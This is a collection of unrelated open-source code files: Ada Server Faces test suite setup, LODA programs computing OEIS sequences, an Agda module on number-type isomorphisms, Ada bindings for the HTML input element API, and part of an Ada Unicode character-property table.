y78:i8<4> = daddrega_i8v4(a78, b78, en, en, en) @dsp(??, ??);
y79:i8<4> = daddrega_i8v4(a79, b79, en, en, en) @dsp(??, ??);
y80:i8<4> = daddrega_i8v4(a80, b80, en, en, en) @dsp(??, ??);
y81:i8<4> = daddrega_i8v4(a81, b81, en, en, en) @dsp(??, ??);
y82:i8<4> = daddrega_i8v4(a82, b82, en, en, en) @dsp(??, ??);
y83:i8<4> = daddrega_i8v4(a83, b83, en, en, en) @dsp(??, ??);
y84:i8<4> = daddrega_i8v4(a84, b84, en, en, en) @dsp(??, ??);
y85:i8<4> = daddrega_i8v4(a85, b85, en, en, en) @dsp(??, ??);
y86:i8<4> = daddrega_i8v4(a86, b86, en, en, en) @dsp(??, ??);
y87:i8<4> = daddrega_i8v4(a87, b87, en, en, en) @dsp(??, ??);
y88:i8<4> = daddrega_i8v4(a88, b88, en, en, en) @dsp(??, ??);
y89:i8<4> = daddrega_i8v4(a89, b89, en, en, en) @dsp(??, ??);
y90:i8<4> = daddrega_i8v4(a90, b90, en, en, en) @dsp(??, ??);
y91:i8<4> = daddrega_i8v4(a91, b91, en, en, en) @dsp(??, ??);
y92:i8<4> = daddrega_i8v4(a92, b92, en, en, en) @dsp(??, ??);
y93:i8<4> = daddrega_i8v4(a93, b93, en, en, en) @dsp(??, ??);
y94:i8<4> = daddrega_i8v4(a94, b94, en, en, en) @dsp(??, ??);
y95:i8<4> = daddrega_i8v4(a95, b95, en, en, en) @dsp(??, ??);
y96:i8<4> = daddrega_i8v4(a96, b96, en, en, en) @dsp(??, ??);
y97:i8<4> = daddrega_i8v4(a97, b97, en, en, en) @dsp(??, ??);
y98:i8<4> = daddrega_i8v4(a98, b98, en, en, en) @dsp(??, ??);
y99:i8<4> = daddrega_i8v4(a99, b99, en, en, en) @dsp(??, ??);
y100:i8<4> = daddrega_i8v4(a100, b100, en, en, en) @dsp(??, ??);
y101:i8<4> = daddrega_i8v4(a101, b101, en, en, en) @dsp(??, ??);
y102:i8<4> = daddrega_i8v4(a102, b102, en, en, en) @dsp(??, ??);
y103:i8<4> = daddrega_i8v4(a103, b103, en, en, en) @dsp(??, ??);
y104:i8<4> = daddrega_i8v4(a104, b104, en, en, en) @dsp(??, ??);
y105:i8<4> = daddrega_i8v4(a105, b105, en, en, en) @dsp(??, ??);
y106:i8<4> = daddrega_i8v4(a106, b106, en, en, en) @dsp(??, ??);
y107:i8<4> = daddrega_i8v4(a107, b107, en, en, en) @dsp(??, ??);
y108:i8<4> = daddrega_i8v4(a108, b108, en, en, en) @dsp(??, ??);
y109:i8<4> = daddrega_i8v4(a109, b109, en, en, en) @dsp(??, ??);
y110:i8<4> = daddrega_i8v4(a110, b110, en, en, en) @dsp(??, ??);
y111:i8<4> = daddrega_i8v4(a111, b111, en, en, en) @dsp(??, ??);
y112:i8<4> = daddrega_i8v4(a112, b112, en, en, en) @dsp(??, ??);
y113:i8<4> = daddrega_i8v4(a113, b113, en, en, en) @dsp(??, ??);
y114:i8<4> = daddrega_i8v4(a114, b114, en, en, en) @dsp(??, ??);
y115:i8<4> = daddrega_i8v4(a115, b115, en, en, en) @dsp(??, ??);
y116:i8<4> = daddrega_i8v4(a116, b116, en, en, en) @dsp(??, ??);
y117:i8<4> = daddrega_i8v4(a117, b117, en, en, en) @dsp(??, ??);
y118:i8<4> = daddrega_i8v4(a118, b118, en, en, en) @dsp(??, ??);
y119:i8<4> = daddrega_i8v4(a119, b119, en, en, en) @dsp(??, ??);
y120:i8<4> = daddrega_i8v4(a120, b120, en, en, en) @dsp(??, ??);
y121:i8<4> = daddrega_i8v4(a121, b121, en, en, en) @dsp(??, ??);
y122:i8<4> = daddrega_i8v4(a122, b122, en, en, en) @dsp(??, ??);
y123:i8<4> = daddrega_i8v4(a123, b123, en, en, en) @dsp(??, ??);
y124:i8<4> = daddrega_i8v4(a124, b124, en, en, en) @dsp(??, ??);
y125:i8<4> = daddrega_i8v4(a125, b125, en, en, en) @dsp(??, ??);
y126:i8<4> = daddrega_i8v4(a126, b126, en, en, en) @dsp(??, ??);
y127:i8<4> = daddrega_i8v4(a127, b127, en, en, en) @dsp(??, ??);
}
|
regtests/asf-testsuite.adb
|
jquorning/ada-asf
| 12 |
12764
|
-----------------------------------------------------------------------
-- ASF testsuite - Ada Server Faces Test suite
-- Copyright (C) 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2018 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with ASF.Contexts.Writer.Tests;
with ASF.Views.Facelets.Tests;
with ASF.Applications.Views.Tests;
with ASF.Applications.Main.Tests;
with ASF.Contexts.Faces.Tests;
with ASF.Applications.Tests;
with ASF.Lifecycles.Tests;
with ASF.Navigations.Tests;
with ASF.Models.Selects.Tests;
with ASF.Converters.Tests;
package body ASF.Testsuite is
Tests : aliased Util.Tests.Test_Suite;
function Suite return Util.Tests.Access_Test_Suite is
Ret : constant Util.Tests.Access_Test_Suite := Tests'Access;
begin
ASF.Contexts.Writer.Tests.Add_Tests (Ret);
ASF.Contexts.Faces.Tests.Add_Tests (Ret);
ASF.Converters.Tests.Add_Tests (Ret);
ASF.Models.Selects.Tests.Add_Tests (Ret);
ASF.Views.Facelets.Tests.Add_Tests (Ret);
ASF.Lifecycles.Tests.Add_Tests (Ret);
ASF.Navigations.Tests.Add_Tests (Ret);
ASF.Applications.Main.Tests.Add_Tests (Ret);
ASF.Applications.Views.Tests.Add_Tests (Ret);
-- Run the application tests at the end.
ASF.Applications.Tests.Add_Tests (Ret);
return Ret;
end Suite;
end ASF.Testsuite;
|
programs/oeis/030/A030696.asm
|
karttu/loda
| 0 |
27835
|
<filename>programs/oeis/030/A030696.asm
; A030696: Cube root of A030695.
; 5,20,14,40,50,60,70,80,90,100,110,120,130,140,150,160,170,180,190,200,210,220,230,240,250,260,270,280,290,300,310,320,330,340,350,360,370,380,390,400,410,420,430,440,450,460,470,480,490,500,510
mov $2,2
add $2,$0
mov $1,$$0
lpb $$2,1
sub $2,1
lpe
add $$1,$2
lpb $0,1
sub $0,1
add $1,5
lpe
|
oeis/123/A123111.asm
|
neoneye/loda-programs
| 11 |
244005
|
<gh_stars>10-100
; A123111: 1+n^2+n^3+n^5+n^7; 10101101 in base n.
; Submitted by <NAME>
; 5,173,2467,17489,81401,287965,840743,2130497,4842829,10101101,19649675,36082513,63122177,105954269,171622351,269488385,411763733,614115757,896355059,1283208401,1805182345,2499522653,3411274487,4594448449
add $0,1
mov $2,$0
pow $0,2
mov $1,$2
mul $1,$0
add $2,1
add $2,$1
mul $1,$0
add $2,$1
mul $0,$2
add $0,1
|
oeis/349/A349965.asm
|
neoneye/loda-programs
| 11 |
164692
|
<filename>oeis/349/A349965.asm
; A349965: a(n) = Sum_{k=0..n} (k * (n-k))^k.
; Submitted by <NAME>
; 1,1,2,7,47,513,8020,169227,4637965,159568981,6684686230,332681461871,19316990453131,1292074091000105,98636639620170792,8528989125071254867,829516920337723299465,90124512307642049807293,10865612430780251465538154,1444628174841081272300223031,210638719162462006608622934759,33521197054826294546099111080081,5798565614710975162808520820724156,1086418585629288996318256370017743771,219768852141566333081179231050107192197,47857036335164586544052684045171492778021
lpb $0
sub $0,1
add $1,1
mov $2,$0
mul $2,$1
pow $2,$1
mul $2,2
add $3,$2
lpe
mov $0,$3
div $0,2
add $0,1
|
tests/02.asm
|
Gumix/pic12-emulator
| 1 |
92283
|
org 0
main:
movlw D'13'
nop
goto main
END
|
agda/Summary.agda
|
mchristianl/synthetic-reals
| 3 |
12237
|
<reponame>mchristianl/synthetic-reals
{-# OPTIONS --cubical --no-import-sorts #-}
module Summary where
import Cubical.Data.Nat using (ℕ)
open import Cubical.Foundations.Prelude using (Lift; refl)
open import Cubical.Foundations.Isomorphism
open import Cubical.Data.Unit.Base using (Unit)
open import Cubical.Data.Sigma.Base
infix 1 _≅_
_≅_ = Iso
open import Number.Postulates
open import Number.Base
open import Number.Prettyprint
open ℕⁿ
open ℤᶻ
open ℚᶠ
open ℝʳ
open ℂᶜ
number-≅-Σ : ∀{p} → Number p ≅ NumberInterpretation p
number-≅-Σ = λ where
.Iso.fun → pop
.Iso.inv (x , p) → x ,, p
.Iso.leftInv (x ,, p) → refl
.Iso.rightInv (x , p) → refl
iso00 : [ℕ] ≅ Σ[ x ∈ Cubical.Data.Nat.ℕ ] Unit
iso01 : [ℕ⁺⁻] ≅ Σ[ x ∈ Cubical.Data.Nat.ℕ ] x #ⁿ 0ⁿ
iso02 : [ℕ₀⁺] ≅ Σ[ x ∈ Cubical.Data.Nat.ℕ ] 0ⁿ ≤ⁿ x
iso03 : [ℕ⁺] ≅ Σ[ x ∈ Cubical.Data.Nat.ℕ ] 0ⁿ <ⁿ x
iso04 : [ℕ₀⁻] ≅ Σ[ x ∈ Cubical.Data.Nat.ℕ ] x ≤ⁿ 0ⁿ
iso05 : [ℤ] ≅ Σ[ x ∈ ℤ.Carrier ] Lift {j = ℤℓ'} Unit
iso06 : [ℤ⁺⁻] ≅ Σ[ x ∈ ℤ.Carrier ] x #ᶻ 0ᶻ
iso07 : [ℤ₀⁺] ≅ Σ[ x ∈ ℤ.Carrier ] 0ᶻ ≤ᶻ x
iso08 : [ℤ⁺] ≅ Σ[ x ∈ ℤ.Carrier ] 0ᶻ <ᶻ x
iso09 : [ℤ⁻] ≅ Σ[ x ∈ ℤ.Carrier ] x <ᶻ 0ᶻ
iso10 : [ℤ₀⁻] ≅ Σ[ x ∈ ℤ.Carrier ] x ≤ᶻ 0ᶻ
iso11 : [ℚ] ≅ Σ[ x ∈ ℚ.Carrier ] Lift {j = ℚℓ'} Unit
iso12 : [ℚ⁺⁻] ≅ Σ[ x ∈ ℚ.Carrier ] x #ᶠ 0ᶠ
iso13 : [ℚ₀⁺] ≅ Σ[ x ∈ ℚ.Carrier ] 0ᶠ ≤ᶠ x
iso14 : [ℚ⁺] ≅ Σ[ x ∈ ℚ.Carrier ] 0ᶠ <ᶠ x
iso15 : [ℚ⁻] ≅ Σ[ x ∈ ℚ.Carrier ] x <ᶠ 0ᶠ
iso16 : [ℚ₀⁻] ≅ Σ[ x ∈ ℚ.Carrier ] x ≤ᶠ 0ᶠ
iso17 : [ℝ] ≅ Σ[ x ∈ ℝ.Carrier ] Lift {j = ℝℓ'} Unit
iso18 : [ℝ⁺⁻] ≅ Σ[ x ∈ ℝ.Carrier ] x #ʳ 0ʳ
iso19 : [ℝ₀⁺] ≅ Σ[ x ∈ ℝ.Carrier ] 0ʳ ≤ʳ x
iso20 : [ℝ⁺] ≅ Σ[ x ∈ ℝ.Carrier ] 0ʳ <ʳ x
iso21 : [ℝ⁻] ≅ Σ[ x ∈ ℝ.Carrier ] x <ʳ 0ʳ
iso22 : [ℝ₀⁻] ≅ Σ[ x ∈ ℝ.Carrier ] x ≤ʳ 0ʳ
iso23 : [ℂ] ≅ Σ[ x ∈ ℂ.Carrier ] Lift {j = ℂℓ'} Unit
iso24 : [ℂ⁺⁻] ≅ Σ[ x ∈ ℂ.Carrier ] x #ᶜ 0ᶜ
iso00 = number-≅-Σ
iso01 = number-≅-Σ
iso02 = number-≅-Σ
iso03 = number-≅-Σ
iso04 = number-≅-Σ
iso05 = number-≅-Σ
iso06 = number-≅-Σ
iso07 = number-≅-Σ
iso08 = number-≅-Σ
iso09 = number-≅-Σ
iso10 = number-≅-Σ
iso11 = number-≅-Σ
iso12 = number-≅-Σ
iso13 = number-≅-Σ
iso14 = number-≅-Σ
iso15 = number-≅-Σ
iso16 = number-≅-Σ
iso17 = number-≅-Σ
iso18 = number-≅-Σ
iso19 = number-≅-Σ
iso20 = number-≅-Σ
iso21 = number-≅-Σ
iso22 = number-≅-Σ
iso23 = number-≅-Σ
iso24 = number-≅-Σ
|
source/web/tools/a2js/webapi/html/webapi-html-input_elements.ads
|
svn2github/matreshka
| 24 |
7719
|
------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Web Framework --
-- --
-- Web API Definition --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2014-2017, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with WebAPI.HTML.Elements;
with WebAPI.HTML.Validity_States;
package WebAPI.HTML.Input_Elements is
pragma Preelaborate;
type HTML_Input_Element is limited interface
and WebAPI.HTML.Elements.HTML_Element;
type HTML_Input_Element_Access is access all HTML_Input_Element'Class
with Storage_Size => 0;
-- XXX Not implemented
--
-- interface HTMLInputElement : HTMLElement {
-- readonly attribute HTMLFormElement? form;
-- readonly attribute FileList? files;
not overriding function Get_Accept
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_String is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "accept";
not overriding procedure Set_Accept
(Self : not null access constant HTML_Input_Element;
To : WebAPI.DOM_String) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "accept";
not overriding function Get_Alt
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_String is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "alt";
not overriding procedure Set_Alt
(Self : not null access constant HTML_Input_Element;
To : WebAPI.DOM_String) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "alt";
not overriding function Get_Autocomplete
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_String is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "autocomplete";
not overriding procedure Set_Autocomplete
(Self : not null access constant HTML_Input_Element;
To : WebAPI.DOM_String) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "autocomplete";
not overriding function Get_Autofocus
(Self : not null access constant HTML_Input_Element)
return Boolean is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "autofocus";
not overriding procedure Set_Autofocus
(Self : not null access constant HTML_Input_Element;
To : Boolean) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "autofocus";
not overriding function Get_Default_Checked
(Self : not null access constant HTML_Input_Element)
return Boolean is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "defaultChecked";
not overriding procedure Set_Default_Checked
(Self : not null access constant HTML_Input_Element;
To : Boolean) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "defaultChecked";
not overriding function Get_Checked
(Self : not null access constant HTML_Input_Element)
return Boolean is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "checked";
not overriding procedure Set_Checked
(Self : not null access constant HTML_Input_Element;
To : Boolean) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "checked";
not overriding function Get_Dir_Name
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_String is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "dirName";
not overriding procedure Set_Dir_Name
(Self : not null access constant HTML_Input_Element;
To : WebAPI.DOM_String) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "dirName";
not overriding function Get_Disabled
(Self : not null access constant HTML_Input_Element)
return Boolean is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "disabled";
not overriding procedure Set_Disabled
(Self : not null access constant HTML_Input_Element;
To : Boolean) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "disabled";
not overriding function Get_Form_Action
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_String is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "formAction";
not overriding procedure Set_Form_Action
(Self : not null access constant HTML_Input_Element;
To : WebAPI.DOM_String) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "formAction";
not overriding function Get_Form_Enctype
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_String is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "formEnctype";
not overriding procedure Set_Form_Enctype
(Self : not null access constant HTML_Input_Element;
To : WebAPI.DOM_String) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "formEnctype";
not overriding function Get_Form_Method
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_String is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "formMethod";
not overriding procedure Set_Form_Method
(Self : not null access constant HTML_Input_Element;
To : WebAPI.DOM_String) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "formMethod";
not overriding function Get_Form_No_Validate
(Self : not null access constant HTML_Input_Element)
return Boolean is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "formNoValidate";
not overriding procedure Set_Form_No_Validate
(Self : not null access constant HTML_Input_Element;
To : Boolean) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "formNoValidate";
not overriding function Get_Form_Target
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_String is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "formTarget";
not overriding procedure Set_Form_Target
(Self : not null access constant HTML_Input_Element;
To : WebAPI.DOM_String) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "formTarget";
-- attribute unsigned long height;
not overriding function Get_Indeterminate
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_Boolean is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "indeterminate";
not overriding procedure Set_Indeterminate
(Self : not null access constant HTML_Input_Element;
To : WebAPI.DOM_Boolean) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "indeterminate";
not overriding function Get_List
(Self : not null access constant HTML_Input_Element)
return WebAPI.HTML.Elements.HTML_Element_Access is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "list";
not overriding function Get_Max
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_String is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "max";
not overriding procedure Set_Max
(Self : not null access constant HTML_Input_Element;
To : WebAPI.DOM_String) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "max";
-- attribute long maxLength;
not overriding function Get_Min
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_String is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "min";
not overriding procedure Set_Min
(Self : not null access constant HTML_Input_Element;
To : WebAPI.DOM_String) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "min";
-- attribute long minLength;
not overriding function Get_Multiple
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_Boolean is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "multiple";
not overriding procedure Set_Multiple
(Self : not null access constant HTML_Input_Element;
To : WebAPI.DOM_Boolean) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "multiple";
not overriding function Get_Name
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_String is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "name";
not overriding procedure Set_Name
(Self : not null access constant HTML_Input_Element;
To : WebAPI.DOM_String) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "name";
not overriding function Get_Pattern
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_String is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "pattern";
not overriding procedure Set_Pattern
(Self : not null access constant HTML_Input_Element;
To : WebAPI.DOM_String) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "pattern";
not overriding function Get_Placeholder
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_String is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "placeholder";
not overriding procedure Set_Placeholder
(Self : not null access constant HTML_Input_Element;
To : WebAPI.DOM_String) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "placeholder";
not overriding function Get_Read_Only
(Self : not null access constant HTML_Input_Element)
return Boolean is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "readOnly";
not overriding procedure Set_Read_Only
(Self : not null access constant HTML_Input_Element;
To : Boolean) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "readOnly";
not overriding function Get_Required
(Self : not null access constant HTML_Input_Element)
return Boolean is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "required";
not overriding procedure Set_Required
(Self : not null access constant HTML_Input_Element;
To : Boolean) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "required";
-- attribute unsigned long size;
not overriding function Get_Src
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_String is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "src";
not overriding procedure Set_Src
(Self : not null access constant HTML_Input_Element;
To : WebAPI.DOM_String) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "src";
not overriding function Get_Step
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_String is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "step";
not overriding procedure Set_Step
(Self : not null access constant HTML_Input_Element;
To : WebAPI.DOM_String) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "step";
not overriding function Get_Type
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_String is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "type";
not overriding procedure Set_Type
(Self : not null access constant HTML_Input_Element;
To : WebAPI.DOM_String) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "type";
not overriding function Get_Default_Value
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_String is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "defaultValue";
not overriding procedure Set_Default_Value
(Self : not null access constant HTML_Input_Element;
To : WebAPI.DOM_String) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "defaultValue";
-- attribute Date? valueAsDate;
-- attribute unrestricted double valueAsNumber;
-- attribute unsigned long width;
--
-- void stepUp(optional long n = 1);
-- void stepDown(optional long n = 1);
not overriding function Get_Will_Validate
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_Boolean is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "willValidate";
-- readonly attribute ValidityState validity;
not overriding function Get_Validity
(Self : not null access constant HTML_Input_Element)
return not null access WebAPI.HTML.Validity_States.Validity_State'Class
is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "validity";
not overriding function Get_Validation_Message
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_String is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "validationMessage";
not overriding function Check_Validity
(Self : not null access constant HTML_Input_Element)
return Boolean is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "checkValidity";
not overriding procedure Set_Custom_Validity
(Self : not null access constant HTML_Input_Element;
Error : WebAPI.DOM_String) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "setCustomValidity";
-- readonly attribute NodeList labels;
--
-- void select();
-- attribute unsigned long selectionStart;
-- attribute unsigned long selectionEnd;
not overriding function Get_Selection_Direction
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_String is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "selectionDirection";
not overriding procedure Set_Selection_Direction
(Self : not null access constant HTML_Input_Element;
To : WebAPI.DOM_String) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "selectionDirection";
-- void setRangeText(DOMString replacement);
-- void setRangeText(DOMString replacement, unsigned long start, unsigned long end, optional SelectionMode selectionMode = "preserve");
-- void setSelectionRange(unsigned long start, unsigned long end, optional DOMString direction);
not overriding function Get_Value
(Self : not null access constant HTML_Input_Element)
return WebAPI.DOM_String is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "value";
not overriding procedure Set_Value
(Self : not null access constant HTML_Input_Element;
To : WebAPI.DOM_String) is abstract
with Import => True,
Convention => JavaScript_Property_Setter,
Link_Name => "value";
end WebAPI.HTML.Input_Elements;
|
source/league/ucd/matreshka-internals-unicode-ucd-core_0002.ads
|
svn2github/matreshka
| 24 |
719
|
<filename>source/league/ucd/matreshka-internals-unicode-ucd-core_0002.ads
------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Localization, Internationalization, Globalization for Ada --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2012-2015, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
pragma Restrictions (No_Elaboration_Code);
-- GNAT: enforce generation of preinitialized data section instead of
-- generation of elaboration code.
package Matreshka.Internals.Unicode.Ucd.Core_0002 is
pragma Preelaborate;
Group_0002 : aliased constant Core_Second_Stage
:= (16#00# => -- 0200
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#01# => -- 0201
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#02# => -- 0202
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#03# => -- 0203
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
